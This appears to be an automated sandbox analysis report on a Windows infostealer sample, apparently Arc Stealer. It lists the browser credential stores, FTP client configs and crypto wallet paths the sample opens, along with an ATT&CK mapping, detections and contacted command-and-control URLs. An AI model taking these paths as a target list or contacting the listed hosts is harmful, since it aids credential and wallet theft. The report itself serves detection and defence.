Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: EnumSystemLocalesW,	0_2_0038D00D
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0038D0A0
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: EnumSystemLocalesW,	0_2_0038694D
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: GetLocaleInfoW,	0_2_0038D300
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0038D429
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_0038CC79
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: GetLocaleInfoW,	0_2_0038D52F
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0038D605
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: GetLocaleInfoW,	0_2_00386E79
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: EnumSystemLocalesW,	0_2_0038CF27
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	Code function: EnumSystemLocalesW,	0_2_0038CF72

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: 0_2_00376125 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_00376125

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe

Code function: 0_2_00387A30 GetTimeZoneInformation,

0_2_00387A30

Stealing of Sensitive Information

Yara detected Arc Stealer

Source: Yara match

File source: Process Memory Space: Gj8P0mbklo.exe PID: 6256, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Electrum\wallets
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\ElectronCash\wallets
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002794000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\*
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aming\Exodus
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.0000000005097000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Ethereum
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\MultiDoge
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Gj8P0mbklo.exe, 00000000.00000002.2152864496.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\FTP Now\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Program Files (x86)\DeluxeFTP\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Notepad++\plugins\config\NppFTP\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\UltraFXP\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\BitKinex\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\BlazeFtp\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Local\INSoftware\NovaFTP\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\FTPBox\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Program Files (x86)\GoFTP\settings\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Estsoft\ALFTP\	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\BBQCoin\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Megacoin\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Mincoin\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Namecoin\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Primecoin\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Terracoin\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\Gj8P0mbklo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Gj8P0mbklo.exe PID: 6256, type: MEMORYSTR

Remote Access Functionality

Yara detected Arc Stealer

Source: Yara match

File source: Process Memory Space: Gj8P0mbklo.exe PID: 6256, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Masquerading	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	4 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Gj8P0mbklo.exe	58%	ReversingLabs	Win32.Trojan.Barys
Gj8P0mbklo.exe	62%	Virustotal		Browse
Gj8P0mbklo.exe	100%	Avira	TR/PSW.Coins.ujryq
Gj8P0mbklo.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
dervinko.biz	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
https://dervinko.biz/Up/b_	0%	Avira URL Cloud	safe
https://dervinko.biz/Up/bAW	0%	Avira URL Cloud	safe
https://dervinko.biz/Up	0%	Avira URL Cloud	safe
https://dervinko.biz/Up/bistAndAuditAlarmByHandle	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Avira URL Cloud	safe
https://dervinko.biz/ujs/89737b57-777d-400d-bb7f-77b7e024920e	0%	Avira URL Cloud	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
https://dervinko.biz/Up	0%	Virustotal		Browse
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://dervinko.biz/q	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Virustotal		Browse
https://www.gstatic.cn/recaptcha/	0%	Virustotal		Browse
https://dervinko.biz	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe
https://dervinko.biz/Up/bistAndAuditAlarmByHandleerta	0%	Avira URL Cloud	safe
https://dervinko.biz/ujs/89737b57-777d-400d-bb7f-77b7e024920e	0%	Virustotal		Browse
https://medal.tv	0%	Avira URL Cloud	safe
https://dervinko.biz/	0%	Avira URL Cloud	safe
https://dervinko.biz/Up/byDllc	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptcha/;	0%	Virustotal		Browse
https://dervinko.biz	0%	Virustotal		Browse
https://medal.tv	0%	Virustotal		Browse
https://dervinko.biz/Up/b	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Virustotal		Browse
http://127.0.0.1:27060	0%	Avira URL Cloud	safe
https://dervinko.biz/	0%	Virustotal		Browse
http://127.0.0.1:27060	0%	Virustotal		Browse
https://dervinko.biz/Up/b	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.61.62.148	true	false		high
dervinko.biz	104.21.13.203	true	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://dervinko.biz/Up	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dervinko.biz/ujs/89737b57-777d-400d-bb7f-77b7e024920e	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199609719039	false		high
https://dervinko.biz/Up/b	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	false		high
https://player.vimeo.com	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=_Vry	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://steamcommunity.com/?subsection=broadcasts	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://store.steampowered.com/subscriber_agreement/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://www.gstatic.cn/recaptcha/	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
http://www.valvesoftware.com/legal.htm	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://www.youtube.com	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://www.google.com	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://dervinko.biz/Up/bAW	Gj8P0mbklo.exe, 00000000.00000003.2151751922.000000000509F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2151712465.0000000005090000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dervinko.biz/Up/b_	Gj8P0mbklo.exe, 00000000.00000003.2151826752.000000000507F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://steamcommunity.com/profiles/76561199609719039/badges	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://s.ytimg.com;	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://steam.tv/	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dervinko.biz/Up/bistAndAuditAlarmByHandle	Gj8P0mbklo.exe, 00000000.00000003.2151712465.00000000050CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
http://store.steampowered.com/privacy_agreement/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://store.steampowered.com/points/shop/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sketchfab.com	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.youtube.com/	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199609719039[1].htm.0.dr	false		high
https://store.steampowered.com/privacy_agreement/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://dervinko.biz/q	Gj8P0mbklo.exe, 00000000.00000002.2152864496.000000000507F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2151826752.000000000507F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://www.google.com/recaptcha/	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://store.steampowered.com/;	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	76561199609719039[1].htm.0.dr	false		high
https://steamcommunity.com/my/wishlist/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
